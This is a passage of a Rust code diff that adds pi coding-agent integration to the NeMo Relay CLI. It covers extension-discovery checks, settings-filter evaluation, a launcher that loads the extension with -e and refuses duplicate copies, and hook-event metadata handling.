&cwd.join(PI_CONFIG_DIR).join("extensions"), + ExtensionScope::Project, + ); + let project_config = cwd.join(PI_CONFIG_DIR); + listed( + &mut sites, + &project_config.join(PI_SETTINGS_FILE), + &project_config, + ExtensionScope::Project, + ); + recorded( + &mut sites, + &project_config.join(PI_SETTINGS_FILE), + ExtensionScope::Project, + ); + sites +} + +/// Copies named by `settings.json`'s own `extensions` array, in either scope. +/// +/// A third registration route, and the one easiest to miss: it is a *sibling* of +/// `packages`, read by a generic loop over pi's four resource types +/// (`resolve`, pi `v0.84.0`, `core/package-manager.ts:906-931`) rather than by +/// anything named after extensions -- `SettingsManager::getExtensionPaths` exists +/// and has no callers, which makes the key look dead until that loop is read. +/// Entries resolve against the settings file's own directory, exactly as +/// `packages` entries do. +/// +/// pi treats a *file* entry as the extension and walks a *directory* entry as a +/// container of them (`collectResourceFiles` -> `collectAutoExtensionEntries`, +/// `core/package-manager.ts:618-625`), so both shapes are checked: the entry +/// itself, then its children. +/// +/// A pattern entry (`+`, `-`, `!`) filters the collected set through the same +/// globbing `packages` filters use, over files this module does not enumerate the +/// way pi does -- so any pattern present makes the verdict `Undecided` rather than +/// a guess in either direction. +fn relay_extensions_listed_in_settings(settings: &Path, base: &Path) -> Vec { + let Some(value) = std::fs::read_to_string(settings) + .ok() + .and_then(|raw| serde_json::from_str::(&raw).ok()) + else { + return Vec::new(); + }; + let Some(entries) = value + .get("extensions") + .and_then(serde_json::Value::as_array) + else { + return Vec::new(); + }; + let entries: Vec<&str> = entries + .iter() + .filter_map(serde_json::Value::as_str) + .collect(); + let filtered = entries + .iter() + .any(|entry| entry.starts_with(['+', '-', '!'])); + let filter = if filtered { + SettingsFilter::Undecided + } else { + SettingsFilter::Loads + }; + let mut found = Vec::new(); + for entry in entries + .iter() + .filter(|entry| !entry.starts_with(['+', '-', '!'])) + { + let resolved = base.join(entry); + if is_relay_extension(&resolved) { + found.push(RecordedInstall { + path: resolved, + filter, + }); + continue; + } + found.extend( + relay_entries_in_directory(&resolved) + .into_iter() + .map(|path| RecordedInstall { path, filter }), + ); + } + found +} + +/// The path `nemo-relay run --agent pi` hands to `-e`, when there is one. +/// +/// Explicit first, then user scope -- the order `relay_extension_sites` already +/// returns. **Project scope is excluded on purpose.** `-e` is not trust-gated, so +/// promoting a project-scoped extension to it would run repository code pi itself +/// declined to trust: the launcher would be undoing the very gate this module +/// exists to report. A site that is not a path on disk is excluded for a related +/// reason -- `pi install` can record an npm or git specifier, and pi resolves an +/// `-e` argument as a package *source*, so handing one back could make a launch +/// fetch and install from the network. +/// +/// Handing pi a path it would have discovered anyway is safe: pi canonicalizes and +/// de-duplicates the merged command-line and discovered sets before loading +/// (`mergePaths`, pi `v0.84.0`, `core/resource-loader.ts:845`), and both routes +/// resolve a package directory through the same `pi.extensions` manifest, so the +/// extension loads -- and registers its hooks -- exactly once. Passing the +/// directory is also why nothing here reads that manifest: pi does it, and its +/// entry-point precedence is pi's to change. A copy pi would *not* have +/// discovered is a different matter, and is what `conflicting_extension_site` +/// is for. +/// A copy pi already loads is preferred over one its settings switch off, even +/// when the disabled one comes first. `-e` applies no settings filter, so passing +/// the disabled copy would *re-enable* it -- and then the enabled one is a genuine +/// second copy and the launch is refused over a duplicate the choice manufactured. +/// Choosing the enabled copy leaves the disabled one disabled and loads exactly +/// once. A disabled copy is still used when it is all there is, because `-e` makes +/// it work. +pub(crate) fn launchable_extension_path(cwd: &Path) -> Option { + let sites = relay_extension_sites(cwd); + let usable = || { + sites + .iter() + .filter(|site| site.scope != ExtensionScope::Project && site.path.exists()) + }; + usable() + .find(|site| site.filter == SettingsFilter::Loads) + .or_else(|| usable().next()) + .map(|site| site.path.clone()) +} + +/// A *second* copy of this extension that pi would load beside the launched one. +/// +/// `-e` adds to pi's extension set; it does not replace it. pi merges the +/// command-line and discovered sets and de-duplicates them by canonicalized path +/// alone (`mergePaths`, pi `v0.84.0`, `core/resource-loader.ts:845`), and the +/// identity it gives a local package is that same path (`getPackageIdentity`, +/// `core/package-manager.ts:1660`) -- so **nothing in pi notices that two +/// directories hold one package**. Each copy gets its own factory call and its own +/// handler map (`core/extensions/loader.ts:506`), and the runner walks every +/// extension for every hook (`core/extensions/runner.ts:805`), so every hook is +/// posted twice. A duplicated `turn_start` closes the turn its twin just opened as +/// superseded, and the inline-shell gate decides one command twice under two +/// spans, with the second verdict the one the user gets. +/// +/// Compared by *package root* rather than by path, because one install is +/// reachable both as its directory and as the entry file inside it, and pi +/// resolves both to the same file through the `pi.extensions` manifest. Symlinks +/// are resolved because pi resolves them too -- its `canonicalizePath` is +/// `realpathSync` (`utils/paths.ts:28`) -- so a symlinked copy is one copy to pi +/// and must be one copy here. +/// +/// Project scope is excluded: pi loads a project-scoped extension only for a +/// trusted project, so it is not reliably a second load, and refusing on it would +/// block every launch in an untrusted project over a copy that will not run. The +/// launch note and the trust warning name it instead. +/// +/// A copy pi's own settings switch off is excluded for the opposite reason -- it is +/// reliably *not* a load. A filtered-off package's files are added with +/// `enabled: false` and dropped before the merge (`applyPackageFilter`, pi +/// `v0.84.0`, `core/package-manager.ts:2208`), so counting it here refused a launch +/// over a copy that was never going to register a hook. +/// +/// So this refuses only on copies pi is certain to load, and never on one it merely +/// might. The remaining false negative -- a trusted project holding a second copy -- +/// is a doubled trace with a note rather than a blocked launch, which is the right +/// side to be wrong on: `-p`, `--mode json` and `--mode rpc` never prompt for trust, +/// so untrusted is the common state. +pub(crate) fn conflicting_extension_site(cwd: &Path, launched: &Path) -> Option { + let launched_root = package_root(launched); + relay_extension_sites(cwd) + .into_iter() + .filter(ExtensionSite::loads_on_its_own) + .find(|site| package_root(&site.path) != launched_root) + .map(|site| site.path) +} + +/// Project-scoped copies that would load *beside* the launched one, if the project +/// is trusted. +/// +/// Two exclusions, both for the same reason the launcher does not refuse on these: +/// a copy pi's settings switch off never loads, and a copy that canonicalizes to +/// the launched package is the same package -- pi de-duplicates by path, so it +/// loads once. Warning about either would describe a doubled trace that cannot +/// happen. +pub(crate) fn project_copies_beside(cwd: &Path, launched: &Path) -> Vec { + let launched_root = package_root(launched); + relay_extension_sites(cwd) + .into_iter() + .filter(|site| { + site.scope == ExtensionScope::Project + && site.filter != SettingsFilter::Excluded + && package_root(&site.path) != launched_root + }) + .map(|site| site.path) + .collect() +} + +/// The package directory a site belongs to, or `None` when it is not on disk. +/// +/// A source that is not a path -- an npm or git specifier `pi install` recorded -- +/// has no root to compare and is a separate installed copy by construction, so +/// `None` is the honest answer and makes it compare unequal to a real checkout. +fn package_root(path: &Path) -> Option { + let canonical = std::fs::canonicalize(path).ok()?; + if manifest_names_relay(&canonical.join("package.json")) { + return Some(canonical); + } + canonical.parent().map(Path::to_path_buf) +} + +/// Every copy of the NeMo Relay extension inside a pi auto-discovery directory. +/// +/// Matched on the package name, not on "the directory is non-empty". A user with +/// somebody else's pi extension installed was otherwise told their *Relay* +/// extension was fine -- and, worse, a project-scoped install of an unrelated +/// package raised a Relay trust warning about a file that has nothing to do with +/// Relay. +/// +/// **Every** copy, not the first. pi walks the whole directory and resolves each +/// subdirectory's entry points independently (`collectAutoExtensionEntries`, pi +/// `v0.84.0`, `core/package-manager.ts:560`), so two copies here are two packages +/// to pi and both register hooks. Stopping at the first hid exactly the doubled +/// trace the duplicate check exists to refuse. +/// +/// Only the shapes pi accepts as an entry are considered -- a directory, or a +/// `.ts`/`.js` file. A flat copy puts a `package.json` beside `index.ts`, and that +/// manifest makes its own sibling look like this extension, so handing that file to +/// `-e` would give pi something it cannot import. Sorted because `read_dir` order is +/// undefined and the launcher's choice of copy must not vary run to run. +fn relay_entries_in_directory(dir: &Path) -> Vec { + let Ok(read) = std::fs::read_dir(dir) else { + return Vec::new(); + }; + let mut found: Vec = read + .flatten() + .map(|entry| entry.path()) + .filter(|path| { + let loadable = path.is_dir() + || matches!( + path.extension().and_then(std::ffi::OsStr::to_str), + Some("ts" | "js") + ); + loadable && is_relay_extension(path) + }) + .collect(); + found.sort(); + found +} + +/// Whether a path is this extension: a package directory whose manifest names it, +/// or a file sitting inside one. +fn is_relay_extension(path: &Path) -> bool { + if manifest_names_relay(&path.join("package.json")) { + return true; + } + path.parent() + .is_some_and(|parent| manifest_names_relay(&parent.join("package.json"))) +} + +fn manifest_names_relay(manifest: &Path) -> bool { + std::fs::read_to_string(manifest) + .ok() + .and_then(|raw| serde_json::from_str::(&raw).ok()) + .and_then(|value| { + value + .get("name") + .and_then(serde_json::Value::as_str) + .map(|name| name == RELAY_PACKAGE_NAME) + }) + .unwrap_or(false) +} + +/// A `packages` entry that records this extension, and whether pi will load it. +struct RecordedInstall { + path: PathBuf, + filter: SettingsFilter, +} + +/// The NeMo Relay package among the sources `pi install` recorded, if any. +/// +/// Each entry is **either a source string or an object** carrying that same source +/// under `source` alongside per-resource filters (pi `v0.84.0`, +/// `core/settings-manager.ts:72-87`); both shapes resolve through one code path in +/// pi. Reading only the string shape was not a theoretical gap: pi's own +/// configuration selector rewrites a string entry into the object form the moment a +/// user toggles any resource of that package +/// (`interactive/components/config-selector.ts:595-598`), so one keystroke in pi's +/// own UI made this check report an installed extension as missing -- and the +/// launcher, which shares this resolution, refuse to start. +/// +/// A local source is a path relative to the settings file's own directory, which is +/// where pi resolves it from too (`getBaseDirForScope`, +/// `core/package-manager.ts:2107-2115`). Only a local source can be resolved from +/// here -- an npm or git source is a name, not a location -- so those fall back to +/// matching the package name inside the specifier, which is the best signal +/// available without fetching anything. +/// Every entry, not the first: two entries naming different directories are two +/// identities to pi (`getPackageIdentity`, `core/package-manager.ts:1660`), so +/// `dedupePackages` keeps both and both load. +fn relay_packages_in_settings(settings: &Path) -> Vec { + let Some(base) = settings.parent() else { + return Vec::new(); + }; + let Some(value) = std::fs::read_to_string(settings) + .ok() + .and_then(|raw| serde_json::from_str::(&raw).ok()) + else { + return Vec::new(); + }; + let Some(entries) = value.get("packages").and_then(serde_json::Value::as_array) else { + return Vec::new(); + }; + entries + .iter() + .filter_map(|entry| { + let source = package_source(entry)?; + let resolved = base.join(source); + if is_relay_extension(&resolved) { + let filter = entry_filters_extensions(entry, &resolved); + return Some(RecordedInstall { + path: resolved, + filter, + }); + } + source + .contains(RELAY_PACKAGE_NAME) + .then(|| RecordedInstall { + path: PathBuf::from(source), + filter: entry_filters_extensions(entry, Path::new(source)), + }) + }) + .collect() +} + +/// The source string of one `packages` entry, whichever shape it was written in. +fn package_source(entry: &serde_json::Value) -> Option<&str> { + entry + .as_str() + .or_else(|| entry.get("source").and_then(serde_json::Value::as_str)) +} + +/// What an object-form entry's filters do to that package's extensions. +/// +/// pi sorts a pattern list into four buckets: `+x` force-include and `-x` +/// force-exclude, both compared as exact strings, and `!x` exclude and bare `x` +/// include, both matched as globs (`applyPatterns`, pi `v0.84.0`, +/// `core/package-manager.ts:712-756`). Only the exact ones can be decided from +/// here without reimplementing `minimatch`, which is why the answer is a tri-state +/// rather than a bool: reporting a package as loaded because a glob could not be +/// read is the same silent Pass this module exists to prevent. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum SettingsFilter { + /// pi loads this package's extensions. + Loads, + /// pi loads none of them -- the entry point is filtered out for certain. + Excluded, + /// The filter turns on a glob this check does not evaluate. pi has the files + /// and the matcher; this does not, so it says so rather than guessing. + Undecided, +} + +fn entry_filters_extensions(entry: &serde_json::Value, path: &Path) -> SettingsFilter { + let Some(object) = entry.as_object() else { + return SettingsFilter::Loads; + }; + let autoload_off = object.get("autoload") == Some(&serde_json::Value::Bool(false)); + let Some(patterns) = object + .get("extensions") + .and_then(serde_json::Value::as_array) + else { + // `autoload: false` with no patterns starts from nothing and adds nothing back + // (`applyPackageDeltaFilter`, `core/package-manager.ts:2232`). + return if autoload_off { + SettingsFilter::Excluded + } else { + SettingsFilter::Loads + }; + }; + let patterns: Vec<&str> = patterns + .iter() + .filter_map(serde_json::Value::as_str) + .collect(); + // An empty array explicitly disables every resource of the type + // (`applyPackageFilter`, `core/package-manager.ts:2208`). + if patterns.is_empty() { + return SettingsFilter::Excluded; + } + let declared = manifest_extension_entries(path); + if declared.is_empty() { + return SettingsFilter::Undecided; + } + let verdicts = declared + .iter() + .map(|entry| entry_verdict(entry, &patterns, autoload_off)); + let mut excluded = true; + for verdict in verdicts { + match verdict { + SettingsFilter::Undecided => return SettingsFilter::Undecided, + SettingsFilter::Loads => excluded = false, + SettingsFilter::Excluded => {} + } + } + if excluded { + SettingsFilter::Excluded + } else { + SettingsFilter::Loads + } +} + +/// What a filter's patterns do to one declared entry point. +/// +/// Under a normal filter the order is include, exclude, force-include, +/// force-exclude, and only the last step is unconditional -- so a `-` naming the +/// entry settles it, and otherwise the answer turns on whether any include or +/// exclude glob could match. Under an `autoload: false` delta the patterns are +/// replayed in order and the last one naming the entry wins, with an entry no +/// pattern names never added at all (`applyAutoloadDisabledPatterns`, +/// `core/package-manager.ts:760-777`). +fn entry_verdict(entry: &str, patterns: &[&str], autoload_off: bool) -> SettingsFilter { + if autoload_off { + let mut decided = SettingsFilter::Excluded; + for pattern in patterns { + match classify_pattern(pattern, entry) { + PatternEffect::Unknown => return SettingsFilter::Undecided, + PatternEffect::Names(enabled) => { + decided = if enabled { + SettingsFilter::Loads + } else { + SettingsFilter::Excluded + }; + } + PatternEffect::Silent => {} + } + } + return decided; + } + + let mut force_excluded = false; + let mut force_included = false; + let mut includes = 0_usize; + let mut included = false; + let mut excluded = false; + for pattern in patterns { + let (marker, target) = split_pattern(pattern); + let literal = literal_target(target); + match marker { + Some('+') => force_included |= target_matches(target, entry), + Some('-') => force_excluded |= target_matches(target, entry), + Some('!') => match literal { + Some(literal) => excluded |= literal == entry, + // A glob exclude could remove the entry, and only a force-include + // would bring it back. + None if !force_included => return SettingsFilter::Undecided, + None => {} + }, + _ => { + includes += 1; + match literal { + Some(literal) => included |= literal == entry, + None => return SettingsFilter::Undecided, + } + } + } + } + if force_excluded { + return SettingsFilter::Excluded; + } + if force_included { + return SettingsFilter::Loads; + } + // With no includes at all, step 1 keeps everything. + if (includes == 0 || included) && !excluded { + SettingsFilter::Loads + } else { + SettingsFilter::Excluded + } +} + +/// What one `autoload: false` delta pattern does to a given entry. +enum PatternEffect { + /// Names the entry, and either enables or disables it. + Names(bool), + /// Cannot say -- the pattern is a glob. + Unknown, + /// Names something else. + Silent, +} + +fn classify_pattern(pattern: &str, entry: &str) -> PatternEffect { + let (marker, target) = split_pattern(pattern); + let enabled = !matches!(marker, Some('-') | Some('!')); + if matches!(marker, Some('+') | Some('-')) { + return if target_matches(target, entry) { + PatternEffect::Names(enabled) + } else { + PatternEffect::Silent + }; + } + match literal_target(target) { + Some(literal) if literal == entry => PatternEffect::Names(enabled), + Some(_) => PatternEffect::Silent, + None => PatternEffect::Unknown, + } +} + +/// The `+`/`-`/`!` marker and the rest of a pattern. +fn split_pattern(pattern: &str) -> (Option, &str) { + match pattern.chars().next() { + Some(marker @ ('+' | '-' | '!')) => (Some(marker), &pattern[marker.len_utf8()..]), + _ => (None, pattern), + } +} + +/// A pattern's target with a leading `./` removed, unless it carries glob syntax. +/// +/// pi strips that prefix before comparing (`normalizeExactPattern`, pi `v0.84.0`, +/// `core/package-manager.ts:656`), which is what makes an exact pattern decidable +/// from here at all. +fn literal_target(target: &str) -> Option<&str> { + if target.contains(['*', '?', '[', '{']) { + return None; + } + Some(target.strip_prefix("./").unwrap_or(target)) +} + +/// Whether an exact pattern names this entry. Exact patterns are never globs. +fn target_matches(target: &str, entry: &str) -> bool { + target.strip_prefix("./").unwrap_or(target) == entry +} + +/// The extension entry points a package declares, relative to its own root. +/// +/// Empty when they cannot be pinned down -- a source that is not on disk, or a +/// manifest entry carrying a glob or an override marker, which pi expands with +/// `globSync` rather than comparing as a string. The caller reads empty as +/// "cannot tell" and says so rather than reporting a Pass. +fn manifest_extension_entries(path: &Path) -> Vec { + let Some(root) = package_root(path) else { + return Vec::new(); + }; + let entries: Vec = std::fs::read_to_string(root.join("package.json")) + .ok() + .and_then(|raw| serde_json::from_str::(&raw).ok()) + .as_ref() + .and_then(|manifest| manifest.get("pi")?.get("extensions")?.as_array()) + .map(|entries| { + entries + .iter() + .filter_map(serde_json::Value::as_str) + .map(|entry| entry.strip_prefix("./").unwrap_or(entry).to_string()) + .collect() + }) + .unwrap_or_default(); + if entries + .iter() + .any(|entry| entry.contains(['*', '?']) || entry.starts_with(['+', '-', '!'])) + { + return Vec::new(); + } + entries +} + +/// `/settings.json`, where `pi install` records a user-scope package. +fn user_settings_path() -> Option { + Some(pi_agent_dir()?.join(PI_SETTINGS_FILE)) +} + +/// `~/.pi/agent`, honoring pi's own directory override. +fn pi_agent_dir() -> Option { + match std::env::var_os(PI_AGENT_DIR_ENV) { + Some(dir) if !dir.is_empty() => Some(PathBuf::from(dir)), + _ => Some( + crate::agents::shared::host::home_dir() + .ok()? + .join(PI_CONFIG_DIR) + .join("agent"), + ), + } +} + +/// `~/.pi/agent/extensions`, the auto-discovery directory. +fn user_extensions_dir() -> Option { + Some(pi_agent_dir()?.join("extensions")) +} + +#[cfg(test)] +#[path = "../../../tests/coverage/agents/pi_doctor_tests.rs"] +mod tests; diff --git a/crates/cli/src/agents/pi/launch.rs b/crates/cli/src/agents/pi/launch.rs new file mode 100644 index 000000000..668448a4a --- /dev/null +++ b/crates/cli/src/agents/pi/launch.rs @@ -0,0 +1,151 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Transparent launch for pi. +//! +//! pi differs from Codex and Claude Code in two ways that shape this module. +//! +//! **Hooks cannot be injected from outside.** Codex takes `--config hooks.*=...` +//! and Claude Code reads a settings file, so their launchers can install hook +//! commands directly. pi has no native hook-configuration file and its external +//! stream is observation-only, so hook calls must originate inside an extension. +//! Launch therefore loads the NeMo Relay extension with `-e` and passes the +//! gateway URL through the environment for it to read. +//! +//! **Model traffic cannot be redirected by a flag or a generic env var.** pi +//! resolves `baseUrl` per model from its generated catalog; the only documented +//! override points are per-provider (`AZURE_OPENAI_BASE_URL`, `LLAMA_BASE_URL`) +//! or a provider registered by an extension. So redirection is the extension's +//! job too, and this module only supplies the URL. + +use std::path::PathBuf; + +use crate::error::CliError; +use crate::process::{PreparedAgentLaunch, insert_after_host}; + +/// Environment variable the pi extension reads to find the gateway. +pub(crate) const PI_GATEWAY_URL_ENV: &str = "NEMO_RELAY_PI_GATEWAY_URL"; + +/// Environment variable pointing pi at the NeMo Relay extension entry point. +pub(crate) const PI_EXTENSION_PATH_ENV: &str = "NEMO_RELAY_PI_EXTENSION"; + +/// Upstream this gateway forwards OpenAI-compatible traffic to. +pub(crate) const PI_OPENAI_UPSTREAM_ENV: &str = "NEMO_RELAY_PI_OPENAI_UPSTREAM"; + +/// Upstream this gateway forwards Anthropic traffic to. +pub(crate) const PI_ANTHROPIC_UPSTREAM_ENV: &str = "NEMO_RELAY_PI_ANTHROPIC_UPSTREAM"; + +pub(crate) fn prepare( + launch: &mut PreparedAgentLaunch, + gateway_url: &str, + gateway: &crate::configuration::GatewayConfig, +) -> Result<(), CliError> { + set_env(launch, PI_GATEWAY_URL_ENV, gateway_url); + + // Tell the extension what this gateway actually forwards to. + // + // Redirection is only correct when the gateway's upstream is the same endpoint the selected + // model would otherwise call: the gateway resolves one OpenAI base and one Anthropic base from + // static configuration (`ProviderRoute::upstream_url`) and there is no per-request override a + // client can set -- inbound internal dispatch headers are stripped. Without these two values + // the extension would have to redirect blind, and pointing (say) an NVIDIA model at a gateway + // configured for `api.openai.com` breaks a session that worked a moment earlier. + set_env(launch, PI_OPENAI_UPSTREAM_ENV, &gateway.openai_base_url); + set_env( + launch, + PI_ANTHROPIC_UPSTREAM_ENV, + &gateway.anthropic_base_url, + ); + + // `-e` is the right loader here: it is trust-ungated, loads before + // discovery, and survives `--no-extensions`, so a launched session gets the + // extension regardless of the user's own pi configuration. + let Some(path) = extension_path() else { + return Err(CliError::Launch(format!( + "could not locate the NeMo Relay pi extension at a load path that is not \ + trust-gated; install it with `pi install ` (without \ + `--local`), copy it into `~/.pi/agent/extensions/`, or set \ + {PI_EXTENSION_PATH_ENV} to its entry point. A project-scoped install is \ + deliberately not used here: `-e` is never trust-gated, so passing one would load \ + code pi itself would not trust. `nemo-relay doctor pi` reports what was found" + ))); + }; + // `-e` loads *in addition to* discovery, so a second copy of this extension elsewhere on the + // machine is a second package to pi and loads beside this one, posting every hook twice: each + // turn closed as superseded by its own duplicate, and the inline-shell gate deciding one + // command twice. There is no way to suppress it from here that does not also drop the user's + // own extensions -- `--no-extensions` keeps `-e` but discards everything discovered -- so + // refuse and name both copies rather than launch a session whose trace is doubled. + if let Some(duplicate) = conflicting_extension_path(&path) { + return Err(CliError::Launch(format!( + "two copies of the NeMo Relay pi extension would load in the same session: {} and \ + {}. pi de-duplicates its extension set by path, not by package, so both register \ + hooks and every turn, tool and inline-shell event is reported twice. Remove one \ + copy, or point {PI_EXTENSION_PATH_ENV} at the one you keep", + path.display(), + duplicate.display() + ))); + } + // A project-scoped copy is the one duplicate that cannot be decided from here. pi loads + // `/.pi/extensions` only for a trusted project, and that decision is made inside the + // run -- `-a` overrides it, `defaultProjectTrust` can pre-answer it, and "trust this session + // only" persists nothing -- so refusing would block every launch in an untrusted project + // over a copy that will not load. Say what happens if the project *is* trusted instead. + for site in super::doctor::project_copies_beside(¤t_dir(), &path) { + launch.notes.push(format!( + "{} is a second copy of this extension under the project's `.pi/`. pi loads it \ + beside the one passed with `-e` whenever the project is trusted, and then every \ + turn, tool and inline-shell event is reported twice. Remove it, or run in an \ + untrusted project", + site.display() + )); + } + + let rendered = path.display().to_string(); + set_env(launch, PI_EXTENSION_PATH_ENV, &rendered); + insert_after_host( + &mut launch.argv, + launch.host_index, + ["-e".to_string(), rendered], + ); + + // Redirection is conditional, so say what the condition is rather than promising LLM spans. + launch.notes.push(format!( + "pi tool and turn activity is reported to NeMo Relay by the extension. Model calls are \ + routed through the gateway only when the selected model's provider already targets this \ + gateway's upstream (openai={openai}, anthropic={anthropic}); pi resolves a base URL per \ + model from a generated catalog, and the gateway forwards to one statically configured \ + upstream per API family. A model on any other provider keeps calling its own endpoint \ + and produces no LLM spans -- select a matching model, or start the gateway with \ + --openai-base-url / --anthropic-base-url pointing at that provider", + openai = gateway.openai_base_url, + anthropic = gateway.anthropic_base_url, + )); + Ok(()) +} + +fn set_env(launch: &mut PreparedAgentLaunch, name: &str, value: &str) { + launch.env.retain(|(existing, _)| existing != name); + launch.env.push((name.to_string(), value.to_string())); +} + +/// Resolve the extension entry point, from the same places `doctor` looks. +/// +/// It reads no environment variable of its own, deliberately. A second read is +/// how the two drifted: `doctor` resolved a user-scope install and reported the +/// setup as ready, while launching refused to start because only the variable +/// counted here -- and the variable is not something any document tells a user +/// to set. `launchable_extension_path` also excludes the project scope, which +/// `-e` would load past pi's trust gate. +fn extension_path() -> Option { + super::doctor::launchable_extension_path(¤t_dir()) +} + +/// The other copy pi would load beside the launched one, if there is one. +fn conflicting_extension_path(launched: &std::path::Path) -> Option { + super::doctor::conflicting_extension_site(¤t_dir(), launched) +} + +fn current_dir() -> PathBuf { + std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")) +} diff --git a/crates/cli/src/agents/pi/mod.rs b/crates/cli/src/agents/pi/mod.rs new file mode 100644 index 000000000..d23e4b31f --- /dev/null +++ b/crates/cli/src/agents/pi/mod.rs @@ -0,0 +1,72 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! pi coding-agent identity and compatibility policy. +//! +//! pi has no native hook-configuration file and its external stream is +//! observation-only, so hook calls originate inside a pi *extension* that posts +//! to `/hooks/pi`. The extension is the only component that can gate a tool call +//! before it runs, which is why the hook event names below are pi's own +//! extension hook names rather than the `PreToolUse`/`PostToolUse` vocabulary +//! Codex and Claude Code use. + +use semver::Version; + +use super::AgentDescriptor; + +pub(crate) mod doctor; +pub(crate) mod launch; + +pub(super) const DESCRIPTOR: AgentDescriptor = AgentDescriptor { + argument: "pi", + install_argument: "pi", + label: "pi", + executable: "pi", + hook_path: "/hooks/pi", + version_product: "pi", + // pi ships breaking changes through minor releases and has no major-release + // channel, so this floor is the version the integration was verified + // against rather than a lower bound that is expected to keep holding. + minimum_version: (0, 84, 0), + // Which is why the floor alone was a lie by omission: it accepted 0.85.0 as + // "supported" for a host that can move a hook shape in a minor. Below the floor + // is an error, above this is a warning -- untested, not broken, and blocking a + // launch over it would make the user downgrade pi to use Relay at all. + verified_through: Some((0, 84)), + // The hooks the extension actually posts to `/hooks/pi`, which is narrower than the set it + // registers with pi. `tool_execution_start` is registered but never forwarded -- it fires + // before validation and for calls that never execute, so it is used only to remember a tool + // name for the matching end -- and listing it here described a hook the gateway never sees. + hook_events: &[ + "session_start", + "session_shutdown", + "session_before_compact", + "session_compact", + "agent_start", + "agent_end", + "agent_settled", + "turn_start", + "turn_end", + "tool_call", + "tool_execution_end", + // Not a pi hook name: posted after a request intercept's rewrite is applied to a tool + // call, so the trace records that the arguments the tool ran were not the ones proposed. + "tool_arguments_transformed", + // The bang-prefixed inline shell gate. `user_bash` is a pi hook; `user_bash_end` is not -- + // pi reports no completion for inline shell, so the extension synthesizes the close. + "user_bash", + "user_bash_end", + // Not a pi hook name: the extension posts this after deciding whether to point the active + // model's provider at the gateway, so a trace with no LLM spans carries its own reason. + "model_redirect", + ], +}; + +/// `pi --version` prints a bare semver line with no product prefix. +pub(super) fn parse_version(raw: &str) -> Option { + Version::parse(raw.trim()).ok() +} + +#[cfg(test)] +#[path = "../../../tests/coverage/agents/pi_tests.rs"] +mod tests; diff --git a/crates/cli/src/agents/shared/adapters.rs b/crates/cli/src/agents/shared/adapters.rs index 8d5b3aff5..f19643131 100644 --- a/crates/cli/src/agents/shared/adapters.rs +++ b/crates/cli/src/agents/shared/adapters.rs @@ -5,6 +5,8 @@ pub(crate) mod claude_code; #[path = "../codex/adapter.rs"] pub(crate) mod codex; +#[path = "../pi/adapter.rs"] +pub(crate) mod pi; pub(crate) const SKILL_LOAD_SOURCE_KEY: &str = "skill_load_source"; pub(crate) const SKILL_LOAD_SOURCE_PROMPT_EXPANSION: &str = "prompt_expansion"; @@ -38,6 +40,27 @@ pub(super) struct ClassificationRules<'a> { subagent_end: &'a [&'a str], tool_start: &'a [&'a str], tool_end: &'a [&'a str], + /// Hook names that open the turn scope at the harness's own boundary. + /// + /// Empty for Claude Code and Codex, which report only `Stop`; their turns + /// stay lazily opened by the first tool, LLM, or mark event of the turn. + /// pi reports `turn_start`, so its turn scope starts where pi says it does. + turn_start: &'a [&'a str], + /// Hook names that additionally close the turn scope. + /// + /// Claude Code and Codex both spell this `Stop`; pi has an explicit + /// `turn_end`. The event is emitted alongside the primary one so the + /// session manager can close the turn and snapshot ATIF without closing + /// the agent scope. + turn_end: &'a [&'a str], + /// Hook names that report a completed context compaction. + /// + /// Empty for Claude Code and Codex, whose `PreCompact`/`PostCompact` names + /// are already matched by the shared fallback. pi spells the *completed* + /// compaction `session_compact`; its `session_before_compact` deliberately + /// stays a plain mark, because any extension loaded after this one can + /// still cancel the compaction it announces. + compaction: &'a [&'a str], } #[derive(Debug, Clone, PartialEq, Eq, Default)] @@ -182,10 +205,74 @@ pub(crate) trait AgentPayloadExtractor { pub(super) struct ClaudeCodePayloadExtractor; pub(super) struct CodexPayloadExtractor; +pub(super) struct PiPayloadExtractor; pub(super) static CLAUDE_CODE_PAYLOAD_EXTRACTOR: ClaudeCodePayloadExtractor = ClaudeCodePayloadExtractor; pub(super) static CODEX_PAYLOAD_EXTRACTOR: CodexPayloadExtractor = CodexPayloadExtractor; +pub(super) static PI_PAYLOAD_EXTRACTOR: PiPayloadExtractor = PiPayloadExtractor; + +/// pi hooks are emitted by a NeMo Relay-authored extension, so the payload uses +/// the canonical key names and needs no path deviations. Two overrides: +/// +/// - the session-header policy, because pi is not Claude Code installed mode and +/// must not adopt an `x-claude-code-session-id` that happens to be in the +/// environment; +/// - attempt attribution, because the gateway's session model is flat +/// (session -> turn -> tool/llm) and carries pi's agent-run structure as +/// metadata instead of as scopes. +impl AgentPayloadExtractor for PiPayloadExtractor { + fn session_header_policy(&self) -> SessionHeaderPolicy { + SessionHeaderPolicy::RelayOnly + } + + fn tool_paths(&self) -> &'static ToolPathSet { + PI_TOOL_PATHS + } + + /// Promote pi's attempt attribution out of the payload and into metadata. + /// + /// This is load-bearing rather than cosmetic. Mark events carry the raw + /// payload as their `data`, so attribution sent on `agent_start` or + /// `turn_start` is already visible there -- but tool events do not: the + /// session manager builds tool spans from the extracted call id, name, + /// arguments, result, and `metadata`, and drops `ToolEvent::payload` + /// entirely. Without this promotion, `attempt_index` and `turn_seq` on + /// `tool_call` and `tool_execution_end` would be accepted on the wire and + /// then silently discarded. + /// + /// The same promotion is what puts attribution on the *turn scope* rather + /// than only on a mark inside it, so "which attempt did this turn belong + /// to" is answerable by walking the scope tree. + fn metadata( + &self, + payload: &Value, + headers: &HeaderMap, + kind: AgentKind, + event_name: &str, + ) -> Value { + let mut metadata = agent_metadata(payload, headers, kind, event_name); + if let Some(object) = metadata.as_object_mut() { + for key in PI_ATTRIBUTION_KEYS { + // Numbers only: these are counters, and accepting a string here + // would put an untyped field into observability metadata that + // consumers then have to defend against. + if let Some(value) = value_at(payload, &[key]).filter(Value::is_number) { + object.insert((*key).into(), value); + } + } + } + metadata + } +} + +/// pi attribution counters promoted from hook payloads into event metadata. +/// +/// `attempt_index` counts agent-run re-entries within one prompt; `turn_seq` is +/// session-monotonic where pi's own `turn_index` resets to 0 on every 